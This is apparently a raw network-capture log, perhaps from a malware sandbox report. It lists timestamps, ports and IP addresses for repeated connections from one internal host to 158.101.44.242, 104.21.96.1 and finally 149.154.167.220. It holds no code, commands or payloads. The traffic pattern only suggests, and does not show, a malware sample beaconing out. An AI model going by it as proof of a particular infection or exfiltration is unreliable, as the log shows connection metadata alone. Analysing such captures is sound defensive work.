Mar 11, 2025 06:09:58.809731007 CET	49712	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:09:58.814605951 CET	80	49712	158.101.44.242	192.168.2.5
Mar 11, 2025 06:09:58.969089031 CET	80	49712	158.101.44.242	192.168.2.5
Mar 11, 2025 06:09:59.024815083 CET	49712	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:09:59.184804916 CET	49713	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:09:59.184845924 CET	443	49713	104.21.96.1	192.168.2.5
Mar 11, 2025 06:09:59.184916973 CET	49713	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:09:59.195746899 CET	49713	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:09:59.195763111 CET	443	49713	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:01.023005009 CET	443	49713	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:01.023175001 CET	49713	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:01.028198004 CET	49713	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:01.028213978 CET	443	49713	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:01.028573990 CET	443	49713	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:01.075717926 CET	49713	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:01.098586082 CET	49713	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:01.144330025 CET	443	49713	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:01.514763117 CET	443	49713	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:01.514834881 CET	443	49713	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:01.514961958 CET	49713	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:01.536267996 CET	49713	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:01.540587902 CET	49712	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:01.545878887 CET	80	49712	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:04.818378925 CET	80	49712	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:04.851866007 CET	49714	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:04.851918936 CET	443	49714	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:04.851999998 CET	49714	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:04.852268934 CET	49714	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:04.852287054 CET	443	49714	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:04.872621059 CET	49712	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:06.655890942 CET	443	49714	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:06.658418894 CET	49714	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:06.658446074 CET	443	49714	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:07.153671026 CET	443	49714	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:07.187417984 CET	443	49714	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:07.187485933 CET	49714	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:07.187844038 CET	49714	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:07.191013098 CET	49712	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:07.192315102 CET	49715	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:07.195959091 CET	80	49712	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:07.196023941 CET	49712	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:07.197169065 CET	80	49715	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:07.197247028 CET	49715	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:07.197340012 CET	49715	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:07.202102900 CET	80	49715	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:10.489057064 CET	49716	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:10.494088888 CET	80	49716	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:10.494184017 CET	49716	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:10.494441032 CET	49716	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:10.499280930 CET	80	49716	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:16.672739983 CET	80	49715	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:16.674268961 CET	49719	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:16.674312115 CET	443	49719	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:16.674541950 CET	49719	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:16.674657106 CET	49719	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:16.674668074 CET	443	49719	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:16.717744112 CET	49715	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:18.433254004 CET	443	49719	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:18.435569048 CET	49719	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:18.435590029 CET	443	49719	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:18.796195030 CET	80	49716	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:18.799894094 CET	49716	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:18.804873943 CET	80	49716	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:18.915431976 CET	443	49719	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:18.915515900 CET	443	49719	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:18.915601015 CET	49719	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:18.916363955 CET	49719	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:18.923038960 CET	49721	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:18.927947044 CET	80	49721	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:18.928029060 CET	49721	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:18.928136110 CET	49721	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:18.932892084 CET	80	49721	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:24.057415009 CET	80	49716	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:24.094259977 CET	49723	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:24.094338894 CET	443	49723	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:24.095242977 CET	49723	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:24.101233006 CET	49723	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:24.101257086 CET	443	49723	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:24.107212067 CET	49716	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:24.490513086 CET	80	49721	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:24.492300987 CET	49724	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:24.492351055 CET	443	49724	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:24.492444038 CET	49724	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:24.492710114 CET	49724	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:24.492716074 CET	443	49724	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:24.544517040 CET	49721	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:25.970891953 CET	443	49723	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:25.971016884 CET	49723	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:25.972632885 CET	49723	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:25.972647905 CET	443	49723	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:25.972912073 CET	443	49723	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:26.013284922 CET	49723	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:26.020716906 CET	49723	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:26.068326950 CET	443	49723	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:26.207742929 CET	443	49724	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:26.209573030 CET	49724	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:26.209595919 CET	443	49724	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:26.448091030 CET	443	49723	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:26.448158026 CET	443	49723	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:26.448225021 CET	49723	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:26.451183081 CET	49723	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:26.454727888 CET	49716	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:26.459640980 CET	80	49716	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:26.709454060 CET	443	49724	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:26.709635019 CET	443	49724	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:26.710135937 CET	49724	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:26.710135937 CET	49724	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:26.713639021 CET	49721	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:26.714632034 CET	49725	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:26.718704939 CET	80	49721	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:26.718750954 CET	49721	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:26.719412088 CET	80	49725	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:26.719482899 CET	49725	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:26.719578028 CET	49725	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:26.724317074 CET	80	49725	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:27.801373005 CET	80	49716	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:27.803348064 CET	49726	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:27.803395033 CET	443	49726	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:27.803452015 CET	49726	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:27.803725004 CET	49726	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:27.803739071 CET	443	49726	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:27.857003927 CET	49716	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:28.659517050 CET	80	49725	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:28.662779093 CET	49727	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:28.662834883 CET	443	49727	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:28.662935972 CET	49727	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:28.663168907 CET	49727	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:28.663182974 CET	443	49727	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:28.716413021 CET	49725	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:29.523813963 CET	443	49726	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:29.525787115 CET	49726	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:29.525830030 CET	443	49726	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:30.004548073 CET	443	49726	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:30.004611969 CET	443	49726	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:30.004674911 CET	49726	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:30.005197048 CET	49726	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:30.009097099 CET	49716	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:30.010252953 CET	49728	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:30.014256001 CET	80	49716	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:30.014348984 CET	49716	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:30.015130043 CET	80	49728	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:30.015218973 CET	49728	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:30.015328884 CET	49728	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:30.020148039 CET	80	49728	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:30.323795080 CET	443	49727	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:30.325453043 CET	49727	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:30.325485945 CET	443	49727	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:30.665066004 CET	80	49728	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:30.669235945 CET	49729	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:30.669292927 CET	443	49729	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:30.669374943 CET	49729	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:30.669650078 CET	49729	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:30.669662952 CET	443	49729	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:30.716397047 CET	49728	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:30.810040951 CET	443	49727	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:30.810132027 CET	443	49727	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:30.810201883 CET	49727	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:30.810945034 CET	49727	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:30.815278053 CET	49725	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:30.816453934 CET	49730	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:30.820391893 CET	80	49725	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:30.820466995 CET	49725	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:30.822271109 CET	80	49730	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:30.822390079 CET	49730	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:30.822541952 CET	49730	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:30.827383041 CET	80	49730	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:31.433689117 CET	80	49730	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:31.435121059 CET	49731	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:31.435180902 CET	443	49731	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:31.435383081 CET	49731	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:31.435709953 CET	49731	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:31.435728073 CET	443	49731	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:31.482038975 CET	49730	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:33.571739912 CET	443	49729	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:33.573477983 CET	49729	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:33.573510885 CET	443	49729	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:33.595948935 CET	443	49731	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:33.597489119 CET	49731	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:33.597522020 CET	443	49731	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:34.050415039 CET	443	49729	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:34.050478935 CET	443	49729	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:34.050540924 CET	49729	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:34.051345110 CET	49729	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:34.055862904 CET	49732	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:34.061263084 CET	80	49732	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:34.061330080 CET	49732	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:34.061528921 CET	49732	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:34.067306042 CET	80	49732	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:34.102574110 CET	443	49731	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:34.102634907 CET	443	49731	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:34.102735043 CET	49731	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:34.103251934 CET	49731	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:34.107259035 CET	49730	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:34.109204054 CET	49733	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:34.113286018 CET	80	49730	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:34.113337994 CET	49730	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:34.115147114 CET	80	49733	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:34.115268946 CET	49733	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:34.115523100 CET	49733	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:34.120488882 CET	80	49733	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:34.633016109 CET	80	49732	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:34.634454012 CET	49734	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:34.634507895 CET	443	49734	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:34.634660959 CET	49734	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:34.635020971 CET	49734	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:34.635036945 CET	443	49734	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:34.685179949 CET	49732	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:34.715038061 CET	80	49733	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:34.717171907 CET	49735	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:34.717212915 CET	443	49735	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:34.717284918 CET	49735	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:34.717713118 CET	49735	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:34.717725039 CET	443	49735	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:34.764244080 CET	49733	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:36.692977905 CET	443	49734	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:36.694638014 CET	49734	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:36.694674969 CET	443	49734	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:36.703741074 CET	443	49735	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:36.705287933 CET	49735	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:36.705378056 CET	443	49735	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:37.166501045 CET	443	49734	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:37.166577101 CET	443	49734	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:37.166621923 CET	49734	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:37.167105913 CET	49734	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:37.169821978 CET	443	49735	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:37.169982910 CET	443	49735	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:37.170315027 CET	49735	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:37.170538902 CET	49735	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:37.171906948 CET	49732	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:37.172130108 CET	49736	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:37.174561024 CET	49733	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:37.175118923 CET	49737	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:37.176990986 CET	80	49732	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:37.177011013 CET	80	49736	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:37.177062035 CET	49732	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:37.177144051 CET	49736	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:37.177220106 CET	49736	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:37.179534912 CET	80	49733	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:37.179588079 CET	49733	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:37.179954052 CET	80	49737	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:37.180053949 CET	49737	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:37.180102110 CET	49737	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:37.182015896 CET	80	49736	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:37.184938908 CET	80	49737	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:37.753390074 CET	80	49737	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:37.754750967 CET	49738	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:37.754806995 CET	443	49738	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:37.754900932 CET	49738	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:37.755168915 CET	49738	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:37.755182028 CET	443	49738	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:37.769226074 CET	80	49736	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:37.770575047 CET	49739	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:37.770620108 CET	443	49739	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:37.770802021 CET	49739	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:37.771034956 CET	49739	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:37.771047115 CET	443	49739	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:37.794564962 CET	49737	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:37.810261965 CET	49736	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:39.583549023 CET	443	49739	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:39.583767891 CET	443	49738	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:39.585258007 CET	49738	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:39.585273027 CET	443	49738	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:39.586363077 CET	49739	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:39.586388111 CET	443	49739	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:40.120002031 CET	443	49738	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:40.120014906 CET	443	49739	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:40.120080948 CET	443	49738	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:40.120093107 CET	443	49739	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:40.120232105 CET	49738	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:40.120240927 CET	49739	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:40.120704889 CET	49739	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:40.120716095 CET	49738	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:40.124272108 CET	49737	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:40.124926090 CET	49736	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:40.124926090 CET	49740	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:40.124988079 CET	49741	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:40.129280090 CET	80	49737	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:40.129403114 CET	49737	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:40.129883051 CET	80	49736	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:40.129908085 CET	80	49740	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:40.129920959 CET	80	49741	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:40.129940987 CET	49736	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:40.129985094 CET	49740	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:40.130079985 CET	49740	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:40.130079985 CET	49741	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:40.130145073 CET	49741	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:40.134824038 CET	80	49740	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:40.134917021 CET	80	49741	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:40.711698055 CET	80	49740	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:40.713227034 CET	49742	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:40.713267088 CET	443	49742	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:40.713352919 CET	49742	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:40.713639975 CET	49742	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:40.713644981 CET	80	49741	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:40.713650942 CET	443	49742	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:40.714786053 CET	49743	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:40.714848042 CET	443	49743	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:40.714910984 CET	49743	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:40.715167999 CET	49743	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:40.715188980 CET	443	49743	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:40.763462067 CET	49740	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:40.766407013 CET	49741	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:42.491727114 CET	443	49742	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:42.493666887 CET	49742	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:42.493684053 CET	443	49742	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:42.543528080 CET	443	49743	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:42.545352936 CET	49743	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:42.545372009 CET	443	49743	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:42.980353117 CET	443	49742	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:42.980429888 CET	443	49742	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:42.980535030 CET	49742	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:42.981141090 CET	49742	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:42.985301018 CET	49740	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:42.986653090 CET	49744	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:43.200967073 CET	80	49744	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:43.200983047 CET	80	49740	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:43.201069117 CET	49740	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:43.201098919 CET	443	49743	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:43.201092958 CET	49744	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:43.201181889 CET	443	49743	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:43.201225996 CET	49743	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:43.201354027 CET	49744	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:43.201726913 CET	49743	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:43.206269026 CET	80	49744	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:43.353679895 CET	49741	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:43.358933926 CET	80	49741	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:43.359015942 CET	49741	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:43.362276077 CET	49745	443	192.168.2.5	149.154.167.220
Mar 11, 2025 06:10:43.362337112 CET	443	49745	149.154.167.220	192.168.2.5
Mar 11, 2025 06:10:43.362431049 CET	49745	443	192.168.2.5	149.154.167.220
Mar 11, 2025 06:10:43.362896919 CET	49745	443	192.168.2.5	149.154.167.220
Mar 11, 2025 06:10:43.362910032 CET	443	49745	149.154.167.220	192.168.2.5
Mar 11, 2025 06:10:43.793822050 CET	80	49744	158.101.44.242	192.168.2.5
Mar 11, 2025 06:10:43.795388937 CET	49746	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:43.795438051 CET	443	49746	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:43.795530081 CET	49746	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:43.795797110 CET	49746	443	192.168.2.5	104.21.96.1
Mar 11, 2025 06:10:43.795811892 CET	443	49746	104.21.96.1	192.168.2.5
Mar 11, 2025 06:10:43.841443062 CET	49744	80	192.168.2.5	158.101.44.242
Mar 11, 2025 06:10:45.210735083 CET	443	49745	149.154.167.220	192.168.2.5
